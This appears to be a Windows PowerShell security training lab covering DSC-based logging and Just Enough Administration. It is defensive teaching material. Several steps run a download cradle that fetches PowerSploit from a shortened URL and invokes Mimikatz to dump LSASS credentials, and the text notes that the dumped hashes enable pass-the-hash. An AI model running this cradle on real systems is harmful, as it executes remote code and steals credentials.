INF251x: Implementing Windows PowerShell Security

Estimated Time: 90 minutes

You manage an Active Directory environment with domain-joined Windows Server 2016 servers and Windows 10 Professional client computers. You plan to take advantage of the Windows PowerShell 5.1 functionality to enhance security of your environment.

Objectives

After completing this lab, students will be able to:

- Implement Windows PowerShell logging by using Desired State Configuration (DSC)
- Identifying and mitigating Windows PowerShell-based exploits
- Implementing Just Enough Administration (JEA)

Lab environment

The lab consists of the following computers:

- LON-DC1 – a Windows Server 2016 domain controller in the adatum.com single-domain forest.
- LON-SVR1 – a Windows Server 2016 domain member server
- LON-CL1 – a Windows 10 Pro ersion 1703 (or newer) domain member computer with Remote Server Administration Tools for Windows 10

All computers have Windows PowerShell Remoting enabled and have Internet connectivity

Windows PowerShell 5.0 introduced a number of security enhancements, including:

- Script block logging
- System-wide transcription
- Just Enough Administration (JEA)

In this lab, you will implement these features and examine their impact on security of your lab environment.

Exercise 1: Implement Windows PowerShell Logging by using Desired State Configuration (DSC)

In this exercise, you will implement Windows PowerShell logging by using Desired State Configuration (DSC). The main tasks for this exercise are as follows:

1. Compile DSC configuration
2. Deploy DSC configuration

In an Active Directory environment, the recommended approach to implementing consistent Windows PowerShell logging settings would rely on the Group Policy capabilities. This approach is documented in Script Tracing and Logging at https://docs.microsoft.com/en-us/powershell/wmf/5.0/audit_script. The DSC-based implementation is recommended in scenarios that involve workgroup systems. The primary reason it is included in this lab since it provides an example of a push-based deployment of a DSC configuration.

▶ Task 1: Compile DSC configuration

1. Make sure you are signed in to the LON-CL1 Windows 10 Professional lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Administrator
    - PASSWORD: Pa55w.rd
2. Click **Start,** in the right-click menu, expand the **Windows PowerShell** folder, right-click **Windows PowerShell ISE**, in the right-click menu, click **More** and then click **Run as administrator**.
3. In the script pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
$dscConfigScriptPageRaw = Invoke-WebRequest -Uri `
'https://raw.githubusercontent.com/GoateePFE/BlogScripts/master/PSSecDSC.ps1'
```

The target URI contains a sample DSC configuration that implements Windows PowerShell script block and transcription logging.

4. In the script pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
If (!(Test-Path -Path 'C:\Temp')) {
        New-Item -Path 'C:\Temp' -ItemType Directory -Force
}

Out-File -FilePath C:\Temp\PSDscConfig.ps1 `
        -InputObject $dscConfigScriptPageRaw.Content `
        -Force
```

5. In the **Administrator: Windows PowerShell ISE** window, click **File**, in the File menu, click **Open**, in the **Open** dialog box, navigate to the **C:\Temp** folder, click **PSDscConfig.ps1** and click **Open**.
6. In the **Administrator: Windows PowerShell ISE** window, add a comma at the end of the line **55** stating:

```
$EventLogSizeInMB = 50
```

and add two following lines directly below it, resulting in the following:

```
$EventLogSizeInMB = 50,
[string[]]
```

```
$NodeName = $env:computername
```

7. In the **Administrator: Windows PowerShell ISE** window, replace the entry in the line **62** stating:

```
Node localhost
```

with the entry **Node $NodeName**, resulting in the following:

```
Node $NodeName
```

8. In the **Administrator: Windows PowerShell ISE** window, at the end of the line **225** stating:

```
EnablePowerShellLogging
```

add **-NodeName ('LON-CL1','LON-SVR1','LON-DC1')**, resulting in the following:

```
EnablePowerShellLogging -NodeName ('LON-CL1','LON-SVR1','LON-DC1')
```

9. In the **Administrator: Windows PowerShell ISE** window, select the content of the script from the line **45** stating:

```
Configuration EnablePowerShellLogging
```

down to and including the line **225** stating:

```
EnablePowerShellLogging -NodeName ('LON-CL1','LON-SVR1','LON-DC1')
```

10. Execute the selected portion of the script by pressing the **F8** key or clicking the **Run selection** button in the toolbar. This will generate three MOF files named **LON-CL1.mof**, **LON-SVR1.mof**, and **LON-DC1.mof** in the **C:\temp\EnablePowerShellLogging** folder.

▶ Task 2: Push DSC Configuration

1. While signed in to LON-CL1 as ADATUM\Administrator, from the console pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
@('LON-CL1','LON-SVR1','LON-DC1') | Start-DscConfiguration –Path
'C:\temp\EnablePowerShellLogging' –Wait –Verbose -Force
```

You could also simply run **Start-DscConfiguration** with the **–Path** parameter set to **'C:\temp\EnablePowerShellLogging**. Note that this will apply the configuration to all computers which names match the names of the MOF files in that location.

2. Wait till the execution of the **Start-DscConfiguration** cmdlet has completed.
3. To verify that the configuration has been applied on LON-CL1, from the console pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
Get-DscConfiguration
```

4. To verify that the configuration has been applied on LON-SVR1, from the console pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
Invoke-Command –ComputerName LON-SVR1 {Get-DscConfiguration}
```

Results: After completing this exercise, you will have implemented Windows PowerShell Logging by using Desired State Configuration.

Exercise 2: Carry out a Windows PowerShell-based exploit

In this exercise, you will carry out a Windows PowerShell-based exploit. The main tasks for this exercise are as follows:

1. Add a domain user to the local Administrators group.
2. Attempt a Windows PowerShell exploit on a Windows 10 Professional computer.
3. Attempt a Windows PowerShell exploit on a Windows Server 2016 computer

▶ Task 1: Add a domain user to the local Administrators group.

By default, in the lab you are logged on as a member of the Domain Admins group. In order to illustrate a more common exploit scenario, you will operate as a member of local Administrators group on domain member computers. To prepare for this scenario, you will add an existing domain user account ADATUM\beth to the local Administrators group on LON-CL1 and LON-SVR1.

1. Ensure that you are signed in to the LON-CL1 Windows 10 Professional lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Administrator
    - PASSWORD: Pa55w.rd
2. Click **Start,** in the right-click menu, expand the **Windows PowerShell** folder, right-click **Windows PowerShell ISE**, in the right-click menu, click **More** and then click **Run as administrator**.
3. In the script pane of the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
Invoke-Command –ComputerName ‘LON-CL1’,’LON-SVR1’ `
               -ScriptBlock {
                     Add-LocalGroupMember –Group ‘Administrators’ `
                                          –Member ‘ADATUM\Beth’
               }
```

4. Sign out from LON-CL1.

▶ Task 2: Attempt a Windows PowerShell exploit on a Window 10 Professional computer

You will start by attempting an exploit that employs the PowerSploit (PowerShell Post-Exploitation Framework) functionality to run the **Invoke-Mimikatz** cmdlet on a Windows 10 Professional computer. The PowerSploit module containing this cmdlet is loaded directly into

memory by taking advantage of download cradle. Invoke-Mimikatz, in turn, takes advantage of Invoke-ReflectivePEInjection (which is also part of PowerSploit) in order to reflectively load Mimikatz directly into memory. Mimikatz dumps credentials from the Local Security Authority Subsystem Service (LSASS) on the computer targeted by the cmdlet.

1. Sign in to the LON-CL1 Windows 10 Professional lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Beth
    - PASSWORD: Pa55w.rd
2. Right-click **Start** and in the right-click menu, click **Windows PowerShell (Admin)**.
3. When prompted, in the **User Account Control** dialog box, click **Yes**.
4. From the **Administrator: Windows PowerShell** window, type and execute the following:

```
IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds -ComputerName @('LON-SVR1')
```

5. Note the resulting error message. The attempt to download and execute malicious script is blocked by Windows Defender. To verify this, right-click **Start** and click **Event Viewer**.
6. In the Event Viewer window, expand the **Applications and Services\Microsoft\Windows\Windows Defender** folder and click the **Operational** log.
7. In the list of events in the Windows Defender Operational log, locate the most recent event ID **1116** with the **Warning** level and double-click it.
8. On the **General** tab of the event properties, scroll down through its description and note that the **Detection Source** is set to **AMSI**.

▶ Task 3: Attempt a remote Windows PowerShell exploit on a Window Server 2016 computer

Now you will attempt the same exploit that employs the PowerSploit (PowerShell Post-Exploitation Framework) functionality to run the **Invoke-Mimikatz** cmdlet on a remote Windows Server 2016 computer. **Invoke-Mimikatz** supports targeting remote computers via Windows PowerShell Remoting.

1. Ensure that you are signed on to the LON-CL1 Windows 10 Professional lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Beth
    - PASSWORD: Pa55w.rd
2. From the **Administrator: Windows PowerShell** window, type and execute the following:

```
IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds -ComputerName @('LON-SVR1')
```

3. Note the resulting error message. The attempt to download and execute malicious script is blocked by Windows Defender. To verify this, switch back to the Event Viewer window and refresh the view of the Windows Defender Operational log.

4. In the list of events in the Windows Defender Operational log, locate the most recent event ID **1116** with the **Warning** level and double-click it.
5. On the **General** tab of the event properties, scroll down through its description and note that the **Detection Source** is set to **AMSI**.

   As you can see, AMSI in combination with Windows Defender successfully blocked execution of the malicious script. Now you will attempt the same exploit from a Windows PowerShell remoting session to LON-SVR1

6. From the **Administrator: Windows PowerShell** window, type and execute the following:

   ```
   Enter-PSSession –ComputerName LON-SVR1
   ```

   This will establish a Windows PowerShell Remoting session to LON-SVR1, as indicated by the **[LON-SVR1]:** prefix of the Windows PowerShell prompt.

7. From the **Administrator: Windows PowerShell ISE** window, type and execute the following:

   ```
   IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
   Mimikatz -DumpCreds
   ```

   Note that this time the exploit was successful. The command downloaded the PowerSploit module containing the **Invoke-Mimikatz** cmdlet directly into memory and used it to execute Mimikatz, which, in turn, will dump password hashes.

   The dump includes ADATUM\Administrator credentials, since this user account happens to be logged on interactively to LON-SVR1 at this time. Note that the values of the NTLM and SHA1 hashes are available. The availability of hashes provides an opportunity to extend the scope of exploits. One of the Windows PowerShell-based post-exploitation tools that provide this functionality is Invoke-TheHash available from https://github.com/Kevin-Robertson/Invoke-TheHash

8. While the exploit was successful, the corresponding actions were recorded in Windows PowerShell Operational log on LON-SVR1. To verify that, switch to the console session on LON-SVR1, ensure that you are signed in as ADATUM\Administrator, right-click **Start** and click **Event Viewer**.
9. In the Event Viewer window, expand the **Applications and Services\Microsoft\Windows\PowerShell** folder and click the **Operational** log.
10. In the list of events in the Windows Defender Operational log, locate the most recent events with ID **4104** and examine their content.
11. Locate the event that includes a reference to the script block **IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('LON-SVR1')**.

    You could also mitigate the impact of a Pass-the-Hash attack in an Active Directory environment by implementing such features as Protected Groups, Authentication Policies, and Authentication Silos. For more information regarding these topics, refer to https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts and https://docs.microsoft.com/en-us/windows-

server/security/credentials-protection-and-management/authentication-policies-and-authentication-policy-silos

Results: After completing this exercise, you will have carry out Windows PowerShell-based attacks against Windows 10 and Windows Server 2016 computers.

Exercise 3: Implement Just Enough Administration

In this exercise, you will implement Just Enough Administration (JEA) to restrict range of tasks that can be performed via a designated Windows PowerShell Remoting endpoint. The main tasks for this exercise are as follows:

1. Create a JEA role capabilities file
2. Create and register JEA session configuration file
3. Test JEA

▶ Task 1: Create a JEA role capabilities file

1. Make sure that you are signed in to the LON-SVR1 Windows Server 2016 lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Administrator
    - PASSWORD: Pa55w.rd
2. Click **Start**, in the Start menu, expand the **Windows PowerShell** folder, right-click **Windows PowerShell ISE**, in the right-click menu, click **More** and then click **Run as administrator**.
3. From the **Administrator: Windows PowerShell ISE** window, run the following:

```
If (!(Test-Path –Path ‘C:\Temp’)) {
         New-Item –Path ‘C:\Temp’ –ItemType Directory –Force
}

New-PSRoleCapabilityFile –Path ‘C:\Temp\AdatumPrintServerAdmin.psrc’
```

   This will generate a sample JEA role capabilities file. With its default settings, all of the settings are commented out, resulting in no impact on the configuration of the endpoint with which the file gets associated. We will modify the role capabilities file to allow only restarting of the Print Spooler service.

4. Open the newly created capabilities file in the script pane of **Administrator: Windows PowerShell ISE** window.
5. In line 10 of the role capabilities file, change:

```
# Description = ‘’
```

   to

```
Description = ‘Adatum Print Server Administration’
```

6. In line 13 of the role capabilities file, change:

```
CompanyName = ‘Unknown’
```

to

```
CompanyName = ‘Adatum’
```

7. In line 25 of the role capabilities file, change:

```
# VisibleCmdlets = 'Invoke-Cmdlet1', @{ Name = 'Invoke-Cmdlet2'; Parameters = @{
Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2';
ValidatePattern = 'L*' } }
```

to

```
VisibleCmdlets = @{ Name = 'Restart-Service'; Parameters = @{ Name = 'Name';
ValidateSet = 'Print Spooler'} }
```

8. In line 31 of the role capabilities file, change:

```
# VisibleExternalCommands = 'Item1', 'Item2'
```

to

```
VisibleExternalCommands = 'C:\Windows\System32\whoami.exe'
```

We include whoami strictly for demonstration purposes. Typically, there should be no need to allow this executable.

9. Save the changes and close the file.

Typically, you would define multiple roles by repeating steps 3-9 to create multiple role capabilities files. You will be able to associate these roles with the same JEA endpoint by following the procedure in the next task.

In order for PowerShell to find role capability files, they must be stored in a "RoleCapabilities" folder in a PowerShell module. The module can be stored in any folder included in the $env:PSModulePath environment variable, however you should not place it in System32 (reserved for built-in modules) or a folder where the untrusted, connecting users could modify the files. In this lab, you will use for this purpose a PowerShell script module called AdatumJEA in the "Program Files" path.

10. From the **Administrator: Windows PowerShell ISE** window, run the following:

```
# Create a folder for the module
$modulePath = Join-Path $env:ProgramFiles "WindowsPowerShell\Modules\AdatumJEA"
New-Item -ItemType Directory -Path $modulePath

# Create an empty script module and module manifest. At least one file in the
module folder must have the same name as the folder itself.
New-Item -ItemType File -Path (Join-Path $modulePath "AdatumJEA.psm1")
New-ModuleManifest -Path (Join-Path $modulePath "AdatumJEA.psd1") -RootModule
"AdatumJEA.psm1"

# Create the RoleCapabilities folder and copy in the PSRC file(s)
$rcFolder = Join-Path $modulePath "RoleCapabilities"
```

```
New-Item -ItemType Directory $rcFolder
Copy-Item -Path 'C:\Temp\AdatumPrintServerAdmin.psrc' -Destination $rcFolder
```

▶ Task 2: Create and register JEA session configuration file

1. Make sure that you are signed in to the LON-SVR1 Windows Server 2016 lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Administrator
    - PASSWORD: Pa55w.rd
2. From the **Administrator: Windows PowerShell ISE** window, run the following:

```
New-PSSessionConfigurationFile –SessionType RestrictedRemoteServer `
                               –Path 'C:\Temp\AdatumAdminRestricted.pssc'
```

This will generate a sample JEA session configuration file. Since the *-SessionType* parameter was set to *RestrictedRemoteServer*, the resulting settings include the most common configuration options applicable to JEA-based delegated management. We will modify the session configuration file to further customize the resulting behavior.

The resulting settings configured this way include:

- NoLanguage mode
- Total of 8 available commands and aliases:
    - Clear-Host (cls, clear)
    - Exit-PSSession (exsn, exit)
    - Get-Command (gcm)
    - Get-FormatData
    - Get-Help
    - Measure-Object (measure)
    - Out-Default
    - Select-Object (select)
- No Windows PowerShell providers
- No external programs (executables, scripts, etc.).

3. Open the newly created capabilities file in the script pane of **Administrator: Windows PowerShell ISE** window.
4. In line 13 of the role capabilities file, change:

```
# Description = ''
```

to

```
Description = 'Adatum Restricted Administration'
```

5. In line 22 of the role capabilities file, change:

```
# RunAsVirtualAccount = $true
```

to

```
RunAsVirtualAccount = $true
```

6. In line 28 of the role capabilities file, change:

```
# RoleDefinitions = @{ 'CONTOSO\SqlAdmins' = @{ RoleCapabilities =
'SqlAdministration' }; 'CONTOSO\ServerMonitors' = @{ VisibleCmdlets = 'Get-
Process' } }
```

to

```
RoleDefinitions = @{ 'ADATUM\IT' = @{ RoleCapabilities =
'AdatumPrintServerAdmin' }}
```

In this case, you are leveraging an existing group that the delegated admin (ADATUM\Beth) is already a member of. Alternatively, you could create a new group. The name of the role capabilities entry matches the name of the role capabilities file you created in the previous task (without the .psrc extension)

7. Starting at line 30 of the role capabilities file, add the following entries:

```
LanguageMode = 'NoLanguage'

ExecutionPolicy = 'Restricted'

PowerShellVersion = '5.1.14393.206'
```

8. Ensure that the line 36 contains the closing braces, save the changes and close the file.

Next, you need to register the JEA session configuration file, which will result in creation of a new Windows PowerShell Remoting endpoint.

9. From the **Administrator: Windows PowerShell ISE** window, run the following:

```
$modulePath = Join-Path $env:ProgramFiles 'WindowsPowerShell\Modules\AdatumJEA'

$scFolder = Join-Path $modulePath 'RoleCapabilities'

Copy-Item –Path 'C:\Temp\AdatumAdminRestricted.pssc' –Destination $scFolder

$scFile = Join-Path $scFolder 'AdatumAdminRestricted.pssc'

Register-PSSessionConfiguration -Path $scFile -Name 'adatum.admin.restricted' -
Force
```

10. Verify that the **Register-PSSessionConfiguration** cmdlet completed successfully. The output should contain the name of the new endpoint (**adatum.admin.restricted**).

Task 3: Test JEA

Now you will attempt again the same exploit that employs the PowerSploit (PowerShell Post-Exploitation Framework) functionality to run the **Invoke-Mimikatz** cmdlet which was successfully carried out in a Windows PowerShell remoting session to the Windows Server 2016 computer.

1. Ensure that you are signed on to the LON-CL1 Windows 10 Professional lab virtual machine with the following credentials:
    - USERNAME: ADATUM\Beth
    - PASSWORD: Pa55w.rd
2. From the **Administrator: Windows PowerShell** window, type and execute the following:

```
Enter-PSSession –ComputerName LON-SVR1 `
               –ConfigurationName 'adatum.admin.restricted'
```

   This will establish a Windows PowerShell Remoting session to LON-SVR1, as indicated by the **[LON-SVR1]:** prefix of the Windows PowerShell prompt.

3. From the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds
```

   Note that this time the exploit failed. The error message indicates that the command failed since it was executed in the runspace that does not support the NoLanguage mode.

   Obviously in order for this protection method to provide expected resiliency, you would need to also remove the default Windows PowerShell Remoting endpoint. While this is easy to accomplish by running the **Disable-PSSessionConfiguration** cmdlet on the target computer, such step has obvious implications in regard to remote administration, so remediating its impact should be carefully evaluated.

4. From the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
Restart-Service –Name ‘Print Spooler’
```

   Note that the command does not return any error messages.

5. To verify that the execution of the **Restart-Service** cmdlet has been successful, switch to the console session to LON-SVR1, within the console session switch to Event Viewer, navigate to the **System** log in the **Windows Logs** folder and locate the most recent events with the Event ID 7036, representing the Print Spooler service entering first the stopped state and next the running state.
6. Switch back to LON-CL1 and, from the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
Restart-Service –Name ‘Server’
```

   Note the resulting error message, indicating that the value of the parameter Name cannot be validated. This is expected, since the role capabilities definition restricts the value of this parameter to the Print Spooler service.

7. From the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
whoami
```

   Note that you are running the remote session in the security context of a virtual account, rather than ADATUM\beth user account.

8. From the **Administrator: Windows PowerShell ISE** window, type and execute the following:

```
whoami /groups
```

   Note that the account you are using is a member of the local Administrators group

In order to further secure the remoting session, rather than relying on a virtual account, you could instead create a local group on LON-SVR1, grant the permissions to restart the Print Spooler service to this group (note that the local Print Operators group would not suffice in this case, since members of this group do not have permissions to restart the Print Spooler service), and include the reference to this group in the session configuration file by adding the following entry:

```
RunAsVirtualAccountGroups = 'Delegated_Group_Name'
```

As the result, the virtual account that would provide security context for the remoting session would no longer be a member of the local Administrators group.

Results: After completing this exercise, you will have implemented JEA.